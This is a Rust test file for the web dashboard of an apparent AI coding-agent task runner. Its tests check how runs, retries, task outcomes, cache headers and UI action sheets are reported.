17915 #[test]
17916 fn task_view_serializes_source_link() {
17917 let mut t = Task::new(
17918 "t".to_owned(),
17919 "t".to_owned(),
17920 PathBuf::from("/repo"),
17921 Source::Agent {
17922 run: "20260901-000000-aaaa".to_owned(),
17923 node: "implement".to_owned(),
17924 },
17925 );
17926 t.runs.clear();
17927 let v = serde_json::to_value(TaskView::from(t)).expect("json");
17928 assert_eq!(v["source_link"]["kind"], "run", "{v}");
17929 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
17930 }
17931
17932 #[tokio::test]
17933 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17934 let fx = Fixture::start().await;
17935 let runs = fx.runs();
17936 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17937 write_run(&runs, old, RunStatus::Blocked);
17938 write_run(&runs, new, RunStatus::Merged);
17939 let mut t = outcome_task(&[old, new], TaskStatus::Done);
17940 fx.queue().put(&mut t).expect("put");
17941
17942 let view = fx.get(&format!("/api/runs/{old}")).await.json();
17943 let task = &view["task"];
17944 assert_eq!(task["status"], "done");
17945 assert_eq!(task["is_latest"], false);
17946 assert_eq!(task["latest"]["short"], "bbbb");
17947 assert_eq!(task["finished_by"]["id"], new);
17948 assert_eq!(task["finished_by"]["outcome"], "merged");
17949 assert_eq!(task["closed_by_hand"], false);
17950 assert_eq!(view["status"], "blocked", "the run keeps its own status");
17951 assert!(APP_JS.contains("finished_by"));
17952 assert!(APP_JS.contains("superseded by run"));
17953 }
17954
17955 #[tokio::test]
17956 async fn the_latest_run_reports_a_held_task_without_a_successor() {
17957 let fx = Fixture::start().await;
17958 let runs = fx.runs();
17959 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17960 write_run(&runs, old, RunStatus::Stalled);
17961 write_run(&runs, new, RunStatus::Blocked);
17962 let mut t = outcome_task(&[old, new], TaskStatus::Held);
17963 fx.queue().put(&mut t).expect("put");
17964
17965 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
17966 assert_eq!(task["status"], "held");
17967 assert_eq!(task["is_latest"], true);
17968 assert!(task["latest"].is_null());
17969 assert!(task["finished_by"].is_null());
17970 assert_eq!(task["closed_by_hand"], false);
17971 }
17972
17973 #[tokio::test]
17974 async fn a_direct_run_has_no_task_outcome() {
17975 let fx = Fixture::start().await;
17976 let runs = fx.runs();
17977 let id = "20260901-000000-aaaa";
17978 write_run(&runs, id, RunStatus::Blocked);
17979 let view = fx.get(&format!("/api/runs/{id}")).await.json();
17980 assert!(view["task"].is_null());
17981 }
17982
17983 #[test]
17984 fn task_outcome_does_not_guess_a_finishing_run() {
17985 let a = "20260901-000000-aaaa";
17986 let b = "20260901-000000-bbbb";
17987 let c = "20260901-000000-cccc";
17988 let dir = tempfile::tempdir().expect("tempdir");
17989 write_run(dir.path(), a, RunStatus::Blocked);
17990 write_run(dir.path(), b, RunStatus::VerifiedNoop);
17991 let read = |id: &str| read_run(dir.path(), id).ok();
17993 let t = outcome_task(&[a, b, c], TaskStatus::Done);
17996 let out = task_outcome(&t, a, 3, read);
17997 assert!(out.finished_by.is_none());
17998 assert!(out.closed_by_hand);
17999 let latest = out.latest.expect("latest");
18000 assert_eq!(latest.id, c);
18001 assert_eq!(latest.status, None);
18002 assert_eq!(latest.outcome, "record unreadable");
18003
18004 write_run(dir.path(), c, RunStatus::Ready);
18006 let t = outcome_task(&[a, c], TaskStatus::Done);
18007 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18008 assert_eq!(out.finished_by.expect("finisher").id, c);
18009 assert!(!out.closed_by_hand);
18010
18011 let t = outcome_task(&[a, b, a], TaskStatus::Held);
18013 assert!(task_outcome(&t, a, 3, read).is_latest);
18014 }
18015
18016 #[tokio::test]
18017 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18018 let fx = Fixture::start().await;
18023 let q = fx.queue();
18024 let runs = fx.runs();
18025 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18026 write_run(&runs, first, RunStatus::Blocked);
18027 write_run(&runs, second, RunStatus::Merged);
18028
18029 let mut t = Task::new(
18030 "one task".to_owned(),
18031 "do it".to_owned(),
18032 PathBuf::from("/repo"),
18033 Source::Human,
18034 );
18035 t.runs = vec![first.to_owned(), second.to_owned()];
18036 q.put(&mut t).expect("put");
18037
18038 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18039 assert_eq!(earlier["superseded_by"], "dddd");
18040 assert_eq!(earlier["latest_attempt"]["id"], second);
18041 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18042 assert_eq!(
18043 earlier["latest_attempt"]["resolved"], true,
18044 "the run that replaced it landed, so this one reads as settled"
18045 );
18046
18047 let later = fx.get(&format!("/api/runs/{second}")).await.json();
18048 assert!(
18049 later["superseded_by"].is_null(),
18050 "the latest attempt is not superseded by anything"
18051 );
18052 assert!(
18053 later["latest_attempt"].is_null(),
18054 "the latest attempt has no later attempt of its own"
18055 );
18056
18057 assert!(APP_JS.contains("run.latest_attempt"));
18064 assert!(APP_JS.contains("data-superseded"));
18065 assert!(APP_JS.contains("#/runs/${latest.id}"));
18066 }
18067
18068 #[tokio::test]
18069 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18070 let fx = Fixture::start().await;
18076 let q = fx.queue();
18077 let runs = fx.runs();
18078 let (a, b, c) = (
18079 "20260901-000000-aaaa",
18080 "20260901-000000-bbbb",
18081 "20260901-000000-cccc",
18082 );
18083 write_run(&runs, a, RunStatus::Blocked);
18084 write_run(&runs, b, RunStatus::Blocked);
18085 write_run(&runs, c, RunStatus::Merged);
18086
18087 let mut t = Task::new(
18088 "retried twice".to_owned(),
18089 "do it".to_owned(),
18090 PathBuf::from("/repo"),
18091 Source::Human,
18092 );
18093 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18094 q.put(&mut t).expect("put");
18095
18096 let view = fx.get(&format!("/api/runs/{a}")).await.json();
18097 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18098 assert_eq!(
18099 view["latest_attempt"]["id"], c,
18100 "the chain's current head, not the intermediate Blocked retry"
18101 );
18102 assert_eq!(view["latest_attempt"]["resolved"], true);
18103
18104 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18105 assert_eq!(mid["latest_attempt"]["id"], c);
18106 assert_eq!(mid["latest_attempt"]["resolved"], true);
18107 }
18108
18109 #[tokio::test]
18110 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18111 let fx = Fixture::start().await;
18112 let q = fx.queue();
18113 let runs = fx.runs();
18114
18115 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18118 write_run(&runs, still_blocked_a, RunStatus::Blocked);
18119 write_run(&runs, still_blocked_b, RunStatus::Blocked);
18120 let mut t1 = Task::new(
18121 "still stuck".to_owned(),
18122 "do it".to_owned(),
18123 PathBuf::from("/repo"),
18124 Source::Human,
18125 );
18126 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18127 q.put(&mut t1).expect("put");
18128 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18129 assert_eq!(view1["latest_attempt"]["resolved"], false);
18130 assert_eq!(view1["latest_attempt"]["status"], "blocked");
18131 assert_eq!(view1["latest_attempt"]["done"], true);
18132
18133 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18135 write_run(&runs, run_a, RunStatus::Blocked);
18136 write_run(&runs, run_b, RunStatus::Implementing);
18137 let mut t3 = Task::new(
18138 "retrying".to_owned(),
18139 "do it".to_owned(),
18140 PathBuf::from("/repo"),
18141 Source::Human,
18142 );
18143 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18144 q.put(&mut t3).expect("put");
18145 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18146 assert_eq!(view3["latest_attempt"]["id"], run_b);
18147 assert_eq!(view3["latest_attempt"]["resolved"], false);
18148 assert_eq!(view3["latest_attempt"]["done"], false);
18149
18150 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18155 write_run(&runs, noop_a, RunStatus::Blocked);
18156 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18157 let mut t2 = Task::new(
18158 "claims done".to_owned(),
18159 "do it".to_owned(),
18160 PathBuf::from("/repo"),
18161 Source::Human,
18162 );
18163 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18164 q.put(&mut t2).expect("put");
18165 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18166 assert_eq!(
18167 view2["latest_attempt"]["resolved"], false,
18168 "an unverified no-op claim must not read as a confirmed finish"
18169 );
18170
18171 assert!(APP_JS.contains("latest.resolved"));
18174 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18177 assert!(APP_JS.contains("Latest attempt: "));
18178 assert!(APP_JS.contains("in flight"));
18179 assert!(APP_JS.contains("not resolved"));
18180 }
18181
18182 #[tokio::test]
18183 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18184 let fx = Fixture::start().await;
18185 let js = fx.get("/app.js").await;
18191 assert_eq!(js.status, 200);
18192 let tag = js
18193 .header("etag")
18194 .expect("an etag to revalidate against")
18195 .to_owned();
18196 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18197 assert_eq!(
18198 js.header("cache-control"),
18199 Some("no-cache, must-revalidate"),
18200 "the phone has to ask every time"
18201 );
18202
18203 let again = fx
18206 .get_with("/app.js", &[("if-none-match", tag.as_str())])
18207 .await;
18208 assert_eq!(
18209 again.status, 304,
18210 "a deck it already has costs one round trip"
18211 );
18212 assert!(again.body.is_empty(), "304 carries no body");
18213
18214 let weak = fx
18217 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18218 .await;
18219 assert_eq!(weak.status, 304);
18220 let stale = fx
18221 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18222 .await;
18223 assert_eq!(stale.status, 200, "an older build must be replaced");
18224 assert!(stale.body.contains("renderRunActions"));
18225 }
18226
18227 #[test]
18228 fn the_task_detail_has_an_actions_fab_and_sheet() {
18229 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18230 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18231 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18232 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18234 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18235 assert!(APP_JS.contains("renderTaskActions(task);"));
18237 assert!(APP_JS.contains("renderTaskActions(null);"));
18238 let sheet = APP_JS
18240 .find("function renderTaskActions")
18241 .expect("sheet renderer");
18242 let body = &APP_JS[sheet..sheet + 3000];
18243 assert!(body.contains("changePriority("));
18244 assert!(body.contains("openTaskEdit(task)"));
18245 assert!(body.contains("renderTaskHoldBox(host"));
18246 assert!(body.contains("renderTaskDoneBox(host"));
18247 assert!(body.contains("renderTaskDeleteBox(host"));
18248 assert!(APP_JS.contains("API.priority(id)"));
18249 assert!(APP_JS.contains("API.deleteTask(id)"));
18250 assert!(APP_JS.contains("location.hash = \"#/queue\""));
18252 assert!(APP_JS.contains("$(\"task-actions-error\")"));
18254 }
18255
18256 #[test]
18257 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18258 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18259 let actions = INDEX_HTML
18260 .find("id=\"run-actions-box\"")
18261 .expect("actions box");
18262 assert!(task < actions, "the task entry comes first in the sheet");
18263 assert!(APP_JS.contains("renderRunTaskEntry"));
18264 assert!(APP_JS.contains("\"Open task \""));
18265 assert!(APP_JS.contains("started directly, no task"));
18267 assert!(APP_JS.contains("sheet-task-link"));
18268 assert!(APP_JS.contains("task-chip-link"));
18269 }
18270
18271 #[test]
18272 fn the_deck_never_sends_the_operator_to_a_terminal() {
18273 assert!(
18276 !APP_JS.contains("Run `magi fold` first"),
18277 "the deck must offer the fold, not prescribe a shell command"
18278 );
18279 assert!(APP_JS.contains("foldRun:"));
18280 assert!(APP_JS.contains("resumeRun:"));
18281 assert!(APP_JS.contains("renderRunActions"));
18282
18283 assert!(APP_JS.contains("armedFold"));
18285 assert!(APP_JS.contains("Yes, fold worktrees"));
18286
18287 assert!(APP_JS.contains("can no longer be resumed"));
18290 }
18291
18292 #[test]
18293 fn a_finished_run_explains_itself_with_its_own_last_line() {
18294 assert!(
18300 !APP_JS.contains("collapsed on agent quota"),
18301 "a stall must not be explained by a cause the deck did not check"
18302 );
18303 assert!(
18304 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18305 "and a block must not offer a guess with an `or` in it"
18306 );
18307
18308 assert!(
18312 APP_JS.contains("setText(r.event, run.event || \"\")"),
18313 "the run's last line is rendered unconditionally"
18314 );
18315 assert!(
18316 !APP_JS.contains("moving && run.event"),
18317 "and never gated on the run still moving"
18318 );
18319
18320 assert!(APP_JS.contains("lost to quota"));
18322 }
18323
18324 #[test]
18346 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18347 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18348 let shapes_body_start =
18349 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18350 let shapes_close = APP_JS[shapes_body_start..]
18351 .find("].map(")
18352 .expect("the shape list is closed by its done-computing .map(...)")
18353 + shapes_body_start;
18354 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18355
18356 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18357 for entry in shapes_src.split('{').skip(1) {
18358 let waiting = entry.contains("waiting: true");
18359 let dead = entry.contains("live: \"dead\"");
18360 let status_at =
18361 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18362 let status_end = entry[status_at..]
18363 .find('"')
18364 .expect("the status string is closed")
18365 + status_at;
18366 let parked = entry.contains("display_status: \"parked\"");
18367 shapes.push((
18368 waiting,
18369 entry[status_at..status_end].to_string(),
18370 dead,
18371 parked,
18372 ));
18373 }
18374 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18375
18376 let done_rule_marker = "done: !";
18380 let done_rule_at = APP_JS[shapes_close..]
18381 .find(done_rule_marker)
18382 .expect("the done rule follows the shape list")
18383 + shapes_close
18384 + done_rule_marker.len();
18385 let includes_at = APP_JS[done_rule_at..]
18386 .find(".includes(shape.status)")
18387 .expect("the done rule ends in .includes(shape.status)")
18388 + done_rule_at;
18389 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18390 .trim()
18391 .trim_start_matches('[')
18392 .trim_end_matches(']')
18393 .split(',')
18394 .map(|s| s.trim().trim_matches('"'))
18395 .filter(|s| !s.is_empty())
18396 .collect();
18397
18398 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18399 .into_iter()
18400 .map(|(waiting, status, dead, parked)| {
18401 let done = !not_done.contains(&status.as_str());
18402 (waiting, status, dead, parked, done)
18403 })
18404 .collect();
18405
18406 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18410 if waiting {
18411 return "waiting";
18412 }
18413 if dead
18414 && !parked
18415 && !matches!(
18416 status,
18417 "merged"
18418 | "ready"
18419 | "stalled"
18420 | "blocked"
18421 | "failed"
18422 | "verified_noop"
18423 | "superseded"
18424 | "already_in_base"
18425 )
18426 {
18427 return "stale";
18428 }
18429 match status {
18430 "merged" | "ready" => "landed",
18431 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18432 | "already_in_base" => "ended",
18433 _ => "flight",
18434 }
18435 }
18436
18437 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18440 match filter_key {
18441 "active" => !done,
18442 "flight" => !done && !waiting && !dead,
18443 "stale" => !done && !waiting && dead,
18444 "waiting" => waiting,
18445 "done" => done,
18446 "all" => true,
18447 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18448 }
18449 }
18450
18451 let compatible = |section: &str, filter_key: &str| {
18452 shapes.iter().any(|(waiting, status, dead, parked, done)| {
18453 run_section(*waiting, status, *dead, *parked) == section
18454 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18455 })
18456 };
18457
18458 let expected = [
18463 ("waiting", [true, false, false, true, true, true]),
18464 ("stale", [true, false, true, false, false, true]),
18465 ("flight", [true, true, false, false, false, true]),
18466 ("landed", [false, false, false, false, true, true]),
18467 ("ended", [false, false, false, false, true, true]),
18468 ];
18469 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18470
18471 for (section, wants) in expected {
18472 for (filter_key, want) in filter_keys.iter().zip(wants) {
18473 assert_eq!(
18474 compatible(section, filter_key),
18475 want,
18476 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18477 );
18478 }
18479 }
18480
18481 assert!(
18484 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18485 );
18486 assert!(APP_JS.contains(
18487 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18488 ));
18489 assert!(APP_JS.contains(
18490 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18491 ));
18492 }
18493
18494 #[tokio::test]
18495 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18496 let dir = tempfile::tempdir().expect("tempdir");
18500 let explicit = dir.path().join("not-a-checkout");
18501 std::fs::create_dir_all(&explicit).expect("create dir");
18502 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18503
18504 let missing = dir.path().join("does-not-exist-at-all");
18505 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18506 }
18507
18508 #[test]
18509 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18510 assert!(APP_JS.contains("function statsDonutArcs"));
18511 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18512 assert!(APP_JS.contains("function statusInBucket"));
18514 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18515 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18516 let buckets = [
18517 "merged",
18518 "ready",
18519 "in_progress",
18520 "blocked",
18521 "failed",
18522 "verified_noop",
18523 "superseded",
18524 "stalled",
18525 ];
18526 for key in buckets {
18527 let var = format!("--verdict-{key}:");
18528 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18530 assert!(
18531 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18532 "{key}"
18533 );
18534 }
18535 }
18536}